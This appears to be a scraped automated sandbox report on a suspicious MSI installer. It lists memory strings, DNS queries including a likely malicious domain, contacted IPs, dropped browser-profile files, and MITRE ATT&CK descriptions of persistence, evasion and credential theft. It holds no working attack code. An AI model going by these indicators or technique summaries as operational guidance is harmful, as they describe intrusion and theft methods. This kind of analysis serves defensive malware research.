'nonce-+jPlmFW1Jz7S6oc9HNNewztccmy5u3qcQLkO7L/KfbE=' 'strict-dynamic' equals www.facebook.com (Facebook)
Source: BrowserSync.exe, 0000000D.00000003.2432835446.0000000008069000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2383274333.0000000008069000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: om/AS/Suggestions/v2 www.bing.com/bnc/ www.bing.com/crop/warmer.png www.bing.com/historyHandler www.bing.com/images/sbidlg www.bing.com/pnp/ www.bing.com/profile/history/data www.bing.com/profile/interestmanager/update www.bing.com/retail/msn/api/shopcard www.bing.com/retailexp/msn/api/ www.bing.com/retailexpdata/msndata/ www.bing.com/rp/rms_pr.png www.bing.com/th wus-streaming-video-msn-com.akamaized.net prod-streaming-video-msn-com.akamaized.net prod-streaming-video.msn.cn msn-api.go2yd.com zerocodecms.blob.core.windows.net .oneservice.msn.com .oneservice.msn.cn api.msn.com api.msn.cn ent-api.msn.com ent-api.msn.cn ent-nf-api.msn.com ent-nf-api.msn.cn ppe-api.msn.com ppe-api.msn.cn graph.microsoft.com/beta/ graph.microsoft.com/v1.0/ https://.vo.msecnd.net https://user.auth.xboxlive.com/user/authenticate https://xsts.auth.xboxlive.com/xsts/authorize https://titlehub.xboxlive.com/users/ https://t.ssl.ak.dynamic.tiles.virtualearth.net https://dynamic.t0.tiles.ditu.live.com https://dev.virtualearth.net/REST/v1/Routes/ https://dev.ditu.live.com/REST/v1/Routes/ https://dev.virtualearth.net/REST/v1/Locations/ https://dev.ditu.live.com/REST/v1/Locations/ browser.events.data.microsoft.com ib.msn.com https://proxy.uet.s.microsoft.com/tpv-dv/;default-src 'none';font-src 'self' data: assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn;frame-src https://api.msn.com/auth/cookie/silentpassport https://api.msn.cn/auth/cookie/silentpassport https://www.msn.com https://www.msn.cn https://www.microsoftstart.com login.live.com login.microsoftonline.com www.bing.com/covid www.bing.com/rewardsapp/flyout www.bing.com/shop www.bing.com/shop/halloween www.bing.com/videos/search www.facebook.com www.odwebp.svc.ms www.youtube.com msn.pluto.tv www.bing.com/wpt/prefetchcib https://res.cdn.office.net/ business.bing.com sip: mailto: edge-auth.microsoft.com;img-src https:// blob: chrome-search://ntpicon/ chrome-search://local-ntp/ chrome-search://theme/ data:;media-src 'self' blob: *.mavideo.microsoft.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn https://sapphire.azureedge.net th.bing.com/th wus-streaming-video-msn-com.akamaized.net prod-streaming-video-msn-com.akamaized.net prod-streaming-video.msn.cn video.yidianzixun.com liveshopping.azureedge.net;report-to csp-endpoint;require-trusted-types-for 'script';style-src 'self' 'unsafe-inline' c.s-microsoft.com/mscc/ assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn;trusted-types serviceWorkerUrlPolicy baw-trustedtypes-policy svgPassThroughPolicy xmlPassThroughPolicy webpackTrustedTypesPolicy webWorkerUrlPolicy inlineHeadCssPassthroughPolicy bundleUrlPolicy fallbackBundleUrlPolicy scriptSrcUrlPolicy commonAsScriptPolicy dompurify fast-html base-html-policy ot-trusted-type-policy default 'allow-duplicates' IasUrlPolicy DvUrlPolicy;worker-src 'self' blob: 'report-sample';script-src 'nonce-+jPlmFW1Jz7S6oc9HNNewztccmy5u3qcQLkO7L/KfbE=' 'strict-dynamic' equals www.youtube.com (Youtube)
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2350514112.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2350514112.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comPK1 equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: bamarelakij.site
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: assets2.msn.com

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File opened: c:
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: Joe Sandbox View	IP Address: 20.110.205.119 20.110.205.119
Source: Joe Sandbox View	IP Address: 204.79.197.219 204.79.197.219
Source: Joe Sandbox View	IP Address: 18.173.219.84 18.173.219.84

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.144
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.190.59

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cLm7ThwEvh.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\6b19d9.rbs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1b67bd51-1d16-4652-b0b6-3f6a70c08fd0.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2ec2dc6c-23f5-4f1c-8042-93d9f0c538d6.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\665ab9c8-7cbc-42a9-99c4-588740602d9d.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8700093c-fab5-4c8b-a24b-3da01584a36a.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\d378f590-d221-4977-be10-33c7005c08b1.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FD1E8-142C.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FD1E9-1D4C.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FD1FC-1BE8.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FD204-1BBC.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\01c20626-61fc-41aa-a8dd-9c1bcb707dd6.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\18509447-6254-4c6a-b4b2-816df789f581.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\187529dd-6801-4bd7-aff5-14dc367b9f49.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\49c26b73-9b45-4bbb-907c-237e4c09235e.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5c0b68f6-5a9c-4254-a581-e619800b6b74.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5f8927fd-3b5a-4e62-b688-947581405248.tmp

Windows Analysis Report
cLm7ThwEvh.msi

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre